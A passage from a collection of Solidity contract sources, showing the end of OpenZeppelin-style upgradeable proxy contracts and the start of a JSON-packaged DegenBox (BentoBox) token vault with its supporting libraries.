function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract AccountsProxy is InitializableAdminUpgradeabilityProxy {}
|
DC1
|
{{
"language": "Solidity",
"sources": {
"contracts/flat/DegenBox.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\n// The BentoBox\n\n// ββββΒ· βββ . β β βββββ ββββΒ· βββ’ β\n// ββ βββͺββ.βΒ·βββββ’ββ βͺ ββ βββͺβͺ βββββͺ\n// ββββββββββͺββββββ ββ.βͺ ββββ ββββββ ββββ Β·ββΒ·\n// ββββͺββββββββββββ βββΒ·βββ.ββββββͺβββββ.βββͺββΒ·ββ\n// Β·ββββ βββ ββ ββͺ βββ βββββͺΒ·ββββ βββββͺβ’ββ ββ\n\n// This contract stores funds, handles their transfers, supports flash loans and strategies.\n\n// Copyright (c) 2021 BoringCrypto - All rights reserved\n// Twitter: @Boring_Crypto\n\n// Special thanks to Keno for all his hard work and support\n\n// Version 22-Mar-2021\n\npragma solidity 0.6.12;\npragma experimental ABIEncoderV2;\n\n// solhint-disable avoid-low-level-calls\n// solhint-disable not-rely-on-time\n// solhint-disable no-inline-assembly\n\n// File @boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol@v1.2.0\n// License-Identifier: MIT\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function allowance(address owner, address spender) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /// @notice EIP 2612\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n}\n\n// File contracts/interfaces/IFlashLoan.sol\n// License-Identifier: MIT\n\ninterface IFlashBorrower {\n /// @notice The flashloan callback. `amount` + `fee` needs to repayed to msg.sender before this call returns.\n /// @param sender The address of the invoker of this flashloan.\n /// @param token The address of the token that is loaned.\n /// @param amount of the `token` that is loaned.\n /// @param fee The fee that needs to be paid on top for this loan. Needs to be the same as `token`.\n /// @param data Additional data that was passed to the flashloan function.\n function onFlashLoan(\n address sender,\n IERC20 token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external;\n}\n\ninterface IBatchFlashBorrower {\n /// @notice The callback for batched flashloans. Every amount + fee needs to repayed to msg.sender before this call returns.\n /// @param sender The address of the invoker of this flashloan.\n /// @param tokens Array of addresses for ERC-20 tokens that is loaned.\n /// @param amounts A one-to-one map to `tokens` that is loaned.\n /// @param fees A one-to-one map to `tokens` that needs to be paid on top for each loan. Needs to be the same token.\n /// @param data Additional data that was passed to the flashloan function.\n function onBatchFlashLoan(\n address sender,\n IERC20[] calldata tokens,\n uint256[] calldata amounts,\n uint256[] calldata fees,\n bytes calldata data\n ) external;\n}\n\n// File contracts/interfaces/IWETH.sol\n// License-Identifier: MIT\n\ninterface IWETH {\n function deposit() external payable;\n\n function withdraw(uint256) external;\n}\n\n// File contracts/interfaces/IStrategy.sol\n// License-Identifier: MIT\n\ninterface IStrategy {\n /// @notice Send the assets to the Strategy and call skim to invest them.\n /// @param amount The amount of tokens to invest.\n function skim(uint256 amount) external;\n\n /// @notice Harvest any profits made converted to the asset and pass them to the caller.\n /// @param balance The amount of tokens the caller thinks it has invested.\n /// @param sender The address of the initiator of this transaction. Can be used for reimbursements, etc.\n /// @return amountAdded The delta (+profit or -loss) that occured in contrast to `balance`.\n function harvest(uint256 balance, address sender) external returns (int256 amountAdded);\n\n /// @notice Withdraw assets. The returned amount can differ from the requested amount due to rounding.\n /// @dev The `actualAmount` should be very close to the amount.\n /// The difference should NOT be used to report a loss. That's what harvest is for.\n /// @param amount The requested amount the caller wants to withdraw.\n /// @return actualAmount The real amount that is withdrawn.\n function withdraw(uint256 amount) external returns (uint256 actualAmount);\n\n /// @notice Withdraw all assets in the safest way possible. This shouldn't fail.\n /// @param balance The amount of tokens the caller thinks it has invested.\n /// @return amountAdded The delta (+profit or -loss) that occured in contrast to `balance`.\n function exit(uint256 balance) external returns (int256 amountAdded);\n}\n\n// File @boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol@v1.2.0\n// License-Identifier: MIT\n\nlibrary BoringERC20 {\n bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol()\n bytes4 private constant SIG_NAME = 0x06fdde03; // name()\n bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals()\n bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)\n bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)\n\n /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.\n /// Reverts on a failed transfer.\n /// @param token The address of the ERC-20 token.\n /// @param to Transfer tokens to.\n /// @param amount The token amount.\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 amount\n ) internal {\n (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"BoringERC20: Transfer failed\");\n }\n\n /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations.\n /// Reverts on a failed transfer.\n /// @param token The address of the ERC-20 token.\n /// @param from Transfer tokens from.\n /// @param to Transfer tokens to.\n /// @param amount The token amount.\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 amount\n ) internal {\n (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount));\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"BoringERC20: TransferFrom failed\");\n }\n}\n\n// File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.0\n// License-Identifier: MIT\n\n/// @notice A library for performing overflow-/underflow-safe math,\n/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).\nlibrary BoringMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require((c = a + b) >= b, \"BoringMath: Add Overflow\");\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require((c = a - b) <= a, \"BoringMath: Underflow\");\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require(b == 0 || (c = a * b) / b == a, \"BoringMath: Mul Overflow\");\n }\n\n function to128(uint256 a) internal pure returns (uint128 c) {\n require(a <= uint128(-1), \"BoringMath: uint128 Overflow\");\n c = uint128(a);\n }\n\n function to64(uint256 a) internal pure returns (uint64 c) {\n require(a <= uint64(-1), \"BoringMath: uint64 Overflow\");\n c = uint64(a);\n }\n\n function to32(uint256 a) internal pure returns (uint32 c) {\n require(a <= uint32(-1), \"BoringMath: uint32 Overflow\");\n c = uint32(a);\n }\n}\n\n/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.\nlibrary BoringMath128 {\n function add(uint128 a, uint128 b) internal pure returns (uint128 c) {\n require((c = a + b) >= b, \"BoringMath: Add Overflow\");\n }\n\n function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {\n require((c = a - b) <= a, \"BoringMath: Underflow\");\n }\n}\n\n/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.\nlibrary BoringMath64 {\n function add(uint64 a, uint64 b) internal pure returns (uint64 c) {\n require((c = a + b) >= b, \"BoringMath: Add Overflow\");\n }\n\n function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {\n require((c = a - b) <= a, \"BoringMath: Underflow\");\n }\n}\n\n/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.\nlibrary BoringMath32 {\n function add(uint32 a, uint32 b) internal pure returns (uint32 c) {\n require((c = a + b) >= b, \"BoringMath: Add Overflow\");\n }\n\n function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {\n require((c = a - b) <= a, \"BoringMath: Underflow\");\n }\n}\n\n// File @boringcrypto/boring-solidity/contracts/libraries/BoringRebase.sol@v1.2.0\n// License-Identifier: MIT\n\nstruct Rebase {\n uint128 elastic;\n uint128 base;\n}\n\n/// @notice A rebasing library using overflow-/underflow-safe math.\nlibrary RebaseLibrary {\n using BoringMath for uint256;\n using BoringMath128 for uint128;\n\n /// @notice Calculates the base value in relationship to `elastic` and `total`.\n function toBase(\n Rebase memory total,\n uint256 elastic,\n bool roundUp\n ) internal pure returns (uint256 base) {\n if (total.elastic == 0) {\n base = elastic;\n } else {\n base = elastic.mul(total.base) / total.elastic;\n if (roundUp && base.mul(total.elastic) / total.base < elastic) {\n base = base.add(1);\n }\n }\n }\n\n /// @notice Calculates the elastic value in relationship to `base` and `total`.\n function toElastic(\n Rebase memory total,\n uint256 base,\n bool roundUp\n ) internal pure returns (uint256 elastic) {\n if (total.base == 0) {\n elastic = base;\n } else {\n elastic = base.mul(total.elastic) / total.base;\n if (roundUp && elastic.mul(total.base) / total.elastic < base) {\n elastic = elastic.add(1);\n }\n }\n }\n\n /// @notice Add `elastic` to `total` and doubles `total.base`.\n /// @return (Rebase) The new total.\n /// @return base in relationship to `elastic`.\n function add(\n Rebase memory total,\n uint256 elastic,\n bool roundUp\n ) internal pure returns (Rebase memory, uint256 base) {\n base = toBase(total, elastic, roundUp);\n total.elastic = total.elastic.add(elastic.to128());\n total.base = total.base.add(base.to128());\n return (total, base);\n }\n\n /// @notice Sub `base` from `total` and update `total.elastic`.\n /// @return (Rebase) The new total.\n /// @return elastic in relationship to `base`.\n function sub(\n Rebase memory total,\n uint256 base,\n bool roundUp\n ) internal pure returns (Rebase memory, uint256 elastic) {\n elastic = toElastic(total, base, roundUp);\n total.elastic = total.elastic.sub(elastic.to128());\n total.base = total.base.sub(base.to128());\n return (total, elastic);\n }\n\n /// @notice Add `elastic` and `base` to `total`.\n function add(\n Rebase memory total,\n uint256 elastic,\n uint256 base\n ) internal pure returns (Rebase memory) {\n total.elastic = total.elastic.add(elastic.to128());\n total.base = total.base.add(base.to128());\n return total;\n }\n\n /// @notice Subtract `elastic` and `base` to `total`.\n function sub(\n Rebase memory total,\n uint256 elastic,\n uint256 base\n ) internal pure returns (Rebase memory) {\n total.elastic = total.elastic.sub(elastic.to128());\n total.base = total.base.sub(base.to128());\n return total;\n }\n\n /// @notice Add `elastic` to `total` and update storage.\n /// @return newElastic Returns updated `elastic`.\n function addElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) {\n newElastic = total.elastic = total.elastic.add(elastic.to128());\n }\n\n /// @notice Subtract `elastic` from `total` and update storage.\n /// @return newElastic Returns updated `elastic`.\n function subElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) {\n newElastic = total.elastic = total.elastic.sub(elastic.to128());\n }\n}\n\n// File @boringcrypto/boring-solidity/contracts/BoringOwnable.sol@v1.2.0\n// License-Identifier: MIT\n\n// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol\n// Edited by BoringCrypto\n\ncontract BoringOwnableData {\n address public owner;\n address public pendingOwner;\n}\n\ncontract BoringOwnable is BoringOwnableData {\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /// @notice `owner` defaults to msg.sender on construction.\n constructor() public {\n owner = msg.sender;\n emit OwnershipTransferred(address(0), msg.sender);\n }\n\n /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.\n /// Can only be invoked by the current `owner`.\n /// @param newOwner Address of the new owner.\n /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.\n /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.\n function transferOwnership(\n address newOwner,\n bool direct,\n bool renounce\n ) public onlyOwner {\n if (direct) {\n // Checks\n require(newOwner != address(0) || renounce, \"Ownable: zero address\");\n\n // Effects\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n pendingOwner = address(0);\n } else {\n // Effects\n pendingOwner = newOwner;\n }\n }\n\n /// @notice Needs to be called by `pendingOwner` to claim ownership.\n function claimOwnership() public {\n address _pendingOwner = pendingOwner;\n\n // Checks\n require(msg.sender == _pendingOwner, \"Ownable: caller != pending owner\");\n\n // Effects\n emit OwnershipTransferred(owner, _pendingOwner);\n owner = _pendingOwner;\n pendingOwner = address(0);\n }\n\n /// @notice Only allows the `owner` to execute the function.\n modifier onlyOwner() {\n require(msg.sender == owner, \"Ownable: caller is not the owner\");\n _;\n }\n}\n\n// File @boringcrypto/boring-solidity/contracts/interfaces/IMasterContract.sol@v1.2.0\n// License-Identifier: MIT\n\ninterface IMasterContract {\n /// @notice Init function that gets called from `BoringFactory.deploy`.\n /// Also kown as the constructor for cloned contracts.\n /// Any ETH send to `BoringFactory.deploy` ends up here.\n /// @param data Can be abi encoded arguments or anything else.\n function init(bytes calldata data) external payable;\n}\n\n// File @boringcrypto/boring-solidity/contracts/BoringFactory.sol@v1.2.0\n// License-Identifier: MIT\n\ncontract BoringFactory {\n event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress);\n\n /// @notice Mapping from clone contracts to their masterContract.\n mapping(address => address) public masterContractOf;\n\n /// @notice Deploys a given master Contract as a clone.\n /// Any ETH transferred with this call is forwarded to the new clone.\n /// Emits `LogDeploy`.\n /// @param masterContract The address of the contract to clone.\n /// @param data Additional abi encoded calldata that is passed to the new clone via `IMasterContract.init`.\n /// @param useCreate2 Creates the clone by using the CREATE2 opcode, in this case `data` will be used as salt.\n /// @return cloneAddress Address of the created clone contract.\n function deploy(\n address masterContract,\n bytes calldata data,\n bool useCreate2\n ) public payable returns (address cloneAddress) {\n require(masterContract != address(0), \"BoringFactory: No masterContract\");\n bytes20 targetBytes = bytes20(masterContract); // Takes the first 20 bytes of the masterContract's address\n\n if (useCreate2) {\n // each masterContract has different code already. So clones are distinguished by their data only.\n bytes32 salt = keccak256(data);\n\n // Creates clone, more info here: https://blog.openzeppelin.com/deep-dive-into-the-minimal-proxy-contract/\n assembly {\n let clone := mload(0x40)\n mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n mstore(add(clone, 0x14), targetBytes)\n mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n cloneAddress := create2(0, clone, 0x37, salt)\n }\n } else {\n assembly {\n let clone := mload(0x40)\n mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n mstore(add(clone, 0x14), targetBytes)\n mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n cloneAddress := create(0, clone, 0x37)\n }\n }\n masterContractOf[cloneAddress] = masterContract;\n\n IMasterContract(cloneAddress).init{value: msg.value}(data);\n\n emit LogDeploy(masterContract, data, cloneAddress);\n }\n}\n\n// File contracts/MasterContractManager.sol\n// License-Identifier: UNLICENSED\n\ncontract MasterContractManager is BoringOwnable, BoringFactory {\n event LogWhiteListMasterContract(address indexed masterContract, bool approved);\n event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool approved);\n event LogRegisterProtocol(address indexed protocol);\n\n /// @notice masterContract to user to approval state\n mapping(address => mapping(address => bool)) public masterContractApproved;\n /// @notice masterContract to whitelisted state for approval without signed message\n mapping(address => bool) public whitelistedMasterContracts;\n /// @notice user nonces for masterContract approvals\n mapping(address => uint256) public nonces;\n\n bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256(\"EIP712Domain(string name,uint256 chainId,address verifyingContract)\");\n // See https://eips.ethereum.org/EIPS/eip-191\n string private constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = \"\\x19\\x01\";\n bytes32 private constant APPROVAL_SIGNATURE_HASH =\n keccak256(\"SetMasterContractApproval(string warning,address user,address masterContract,bool approved,uint256 nonce)\");\n\n // solhint-disable-next-line var-name-mixedcase\n bytes32 private immutable _DOMAIN_SEPARATOR;\n // solhint-disable-next-line var-name-mixedcase\n uint256 private immutable DOMAIN_SEPARATOR_CHAIN_ID;\n\n constructor() public {\n uint256 chainId;\n assembly {\n chainId := chainid()\n }\n _DOMAIN_SEPARATOR = _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId);\n }\n\n function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {\n return keccak256(abi.encode(DOMAIN_SEPARATOR_SIGNATURE_HASH, keccak256(\"BentoBox V1\"), chainId, address(this)));\n }\n\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() public view returns (bytes32) {\n uint256 chainId;\n assembly {\n chainId := chainid()\n }\n return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId);\n }\n\n /// @notice Other contracts need to register with this master contract so that users can approve them for the BentoBox.\n function registerProtocol() public {\n masterContractOf[msg.sender] = msg.sender;\n emit LogRegisterProtocol(msg.sender);\n }\n\n /// @notice Enables or disables a contract for approval without signed message.\n function whitelistMasterContract(address masterContract, bool approved) public onlyOwner {\n // Checks\n require(masterContract != address(0), \"MasterCMgr: Cannot approve 0\");\n\n // Effects\n whitelistedMasterContracts[masterContract] = approved;\n emit LogWhiteListMasterContract(masterContract, approved);\n }\n\n /// @notice Approves or revokes a `masterContract` access to `user` funds.\n /// @param user The address of the user that approves or revokes access.\n /// @param masterContract The address who gains or loses access.\n /// @param approved If True approves access. If False revokes access.\n /// @param v Part of the signature. (See EIP-191)\n /// @param r Part of the signature. (See EIP-191)\n /// @param s Part of the signature. (See EIP-191)\n // F4 - Check behaviour for all function arguments when wrong or extreme\n // F4: Don't allow masterContract 0 to be approved. Unknown contracts will have a masterContract of 0.\n // F4: User can't be 0 for signed approvals because the recoveredAddress will be 0 if ecrecover fails\n function setMasterContractApproval(\n address user,\n address masterContract,\n bool approved,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public {\n // Checks\n require(masterContract != address(0), \"MasterCMgr: masterC not set\"); // Important for security\n\n // If no signature is provided, the fallback is executed\n if (r == 0 && s == 0 && v == 0) {\n require(user == msg.sender, \"MasterCMgr: user not sender\");\n require(masterContractOf[user] == address(0), \"MasterCMgr: user is clone\");\n require(whitelistedMasterContracts[masterContract], \"MasterCMgr: not whitelisted\");\n } else {\n // Important for security - any address without masterContract has address(0) as masterContract\n // So approving address(0) would approve every address, leading to full loss of funds\n // Also, ecrecover returns address(0) on failure. So we check this:\n require(user != address(0), \"MasterCMgr: User cannot be 0\");\n\n // C10 - Protect signatures against replay, use nonce and chainId (SWC-121)\n // C10: nonce + chainId are used to prevent replays\n // C11 - All signatures strictly EIP-712 (SWC-117 SWC-122)\n // C11: signature is EIP-712 compliant\n // C12 - abi.encodePacked can't contain variable length user input (SWC-133)\n // C12: abi.encodePacked has fixed length parameters\n bytes32 digest =\n keccak256(\n abi.encodePacked(\n EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA,\n DOMAIN_SEPARATOR(),\n keccak256(\n abi.encode(\n APPROVAL_SIGNATURE_HASH,\n approved\n ? keccak256(\"Give FULL access to funds in (and approved to) BentoBox?\")\n : keccak256(\"Revoke access to BentoBox?\"),\n user,\n masterContract,\n approved,\n nonces[user]++\n )\n )\n )\n );\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(recoveredAddress == user, \"MasterCMgr: Invalid Signature\");\n }\n\n // Effects\n masterContractApproved[masterContract][user] = approved;\n emit LogSetMasterContractApproval(masterContract, user, approved);\n }\n}\n\n// File @boringcrypto/boring-solidity/contracts/BoringBatchable.sol@v1.2.0\n// License-Identifier: MIT\n\ncontract BaseBoringBatchable {\n /// @dev Helper function to extract a useful revert message from a failed call.\n /// If the returned data is malformed or not correctly abi encoded then this call can fail itself.\n function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {\n // If the _res length is less than 68, then the transaction failed silently (without a revert message)\n if (_returnData.length < 68) return \"Transaction reverted silently\";\n\n assembly {\n // Slice the sighash.\n _returnData := add(_returnData, 0x04)\n }\n return abi.decode(_returnData, (string)); // All that remains is the revert string\n }\n\n /// @notice Allows batched call to self (this contract).\n /// @param calls An array of inputs for each call.\n /// @param revertOnFail If True then reverts after a failed call and stops doing further calls.\n /// @return successes An array indicating the success of a call, mapped one-to-one to `calls`.\n /// @return results An array with the returned data of each function call, mapped one-to-one to `calls`.\n // F1: External is ok here because this is the batch function, adding it to a batch makes no sense\n // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value\n // C3: The length of the loop is fully under user control, so can't be exploited\n // C7: Delegatecall is only used on the same contract, so it's safe\n function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) {\n successes = new bool[](calls.length);\n results = new bytes[](calls.length);\n for (uint256 i = 0; i < calls.length; i++) {\n (bool success, bytes memory result) = address(this).delegatecall(calls[i]);\n require(success || !revertOnFail, _getRevertMsg(result));\n successes[i] = success;\n results[i] = result;\n }\n }\n}\n\ncontract BoringBatchable is BaseBoringBatchable {\n /// @notice Call wrapper that performs `ERC20.permit` on `token`.\n /// Lookup `IERC20.permit`.\n // F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert)\n // if part of a batch this could be used to grief once as the second call would not need the permit\n function permitToken(\n IERC20 token,\n address from,\n address to,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public {\n token.permit(from, to, amount, deadline, v, r, s);\n }\n}\n\n// File contracts/DegenBox.sol\n// License-Identifier: UNLICENSED\n\n/// @title DegenBox\n/// @author BoringCrypto, Keno\n/// @notice The BentoBox is a vault for tokens. The stored tokens can be flash loaned and used in strategies.\n/// Yield from this will go to the token depositors.\n/// Rebasing tokens ARE NOT supported and WILL cause loss of funds.\n/// Any funds transfered directly onto the BentoBox will be lost, use the deposit function instead.\ncontract DegenBox is MasterContractManager, BoringBatchable {\n using BoringMath for uint256;\n using BoringMath128 for uint128;\n using BoringERC20 for IERC20;\n using RebaseLibrary for Rebase;\n\n // ************** //\n // *** EVENTS *** //\n // ************** //\n\n event LogDeposit(IERC20 indexed token, address indexed from, address indexed to, uint256 amount, uint256 share);\n event LogWithdraw(IERC20 indexed token, address indexed from, address indexed to, uint256 amount, uint256 share);\n event LogTransfer(IERC20 indexed token, address indexed from, address indexed to, uint256 share);\n\n event LogFlashLoan(address indexed borrower, IERC20 indexed token, uint256 amount, uint256 feeAmount, address indexed receiver);\n\n event LogStrategyTargetPercentage(IERC20 indexed token, uint256 targetPercentage);\n event LogStrategyQueued(IERC20 indexed token, IStrategy indexed strategy);\n event LogStrategySet(IERC20 indexed token, IStrategy indexed strategy);\n event LogStrategyInvest(IERC20 indexed token, uint256 amount);\n event LogStrategyDivest(IERC20 indexed token, uint256 amount);\n event LogStrategyProfit(IERC20 indexed token, uint256 amount);\n event LogStrategyLoss(IERC20 indexed token, uint256 amount);\n\n // *************** //\n // *** STRUCTS *** //\n // *************** //\n\n struct StrategyData {\n uint64 strategyStartDate;\n uint64 targetPercentage;\n uint128 balance; // the balance of the strategy that BentoBox thinks is in there\n }\n\n // ******************************** //\n // *** CONSTANTS AND IMMUTABLES *** //\n // ******************************** //\n\n // V2 - Can they be private?\n // V2: Private to save gas, to verify it's correct, check the constructor arguments\n IERC20 private immutable wethToken;\n\n IERC20 private constant USE_ETHEREUM = IERC20(0);\n uint256 private constant FLASH_LOAN_FEE = 50; // 0.05%\n uint256 private constant FLASH_LOAN_FEE_PRECISION = 1e5;\n uint256 private constant STRATEGY_DELAY = 3 days;\n uint256 private constant MAX_TARGET_PERCENTAGE = 95; // 95%\n uint256 private constant MINIMUM_SHARE_BALANCE = 1000; // To prevent the ratio going off\n\n // ***************** //\n // *** VARIABLES *** //\n // ***************** //\n\n // Balance per token per address/contract in shares\n mapping(IERC20 => mapping(address => uint256)) public balanceOf;\n\n // Rebase from amount to share\n mapping(IERC20 => Rebase) public totals;\n\n mapping(IERC20 => IStrategy) public strategy;\n mapping(IERC20 => IStrategy) public pendingStrategy;\n mapping(IERC20 => StrategyData) public strategyData;\n\n // ******************* //\n // *** CONSTRUCTOR *** //\n // ******************* //\n\n constructor(IERC20 wethToken_) public {\n wethToken = wethToken_;\n }\n\n // ***************** //\n // *** MODIFIERS *** //\n // ***************** //\n\n /// Modifier to check if the msg.sender is allowed to use funds belonging to the 'from' address.\n /// If 'from' is msg.sender, it's allowed.\n /// If 'from' is the BentoBox itself, it's allowed. Any ETH, token balances (above the known balances) or BentoBox 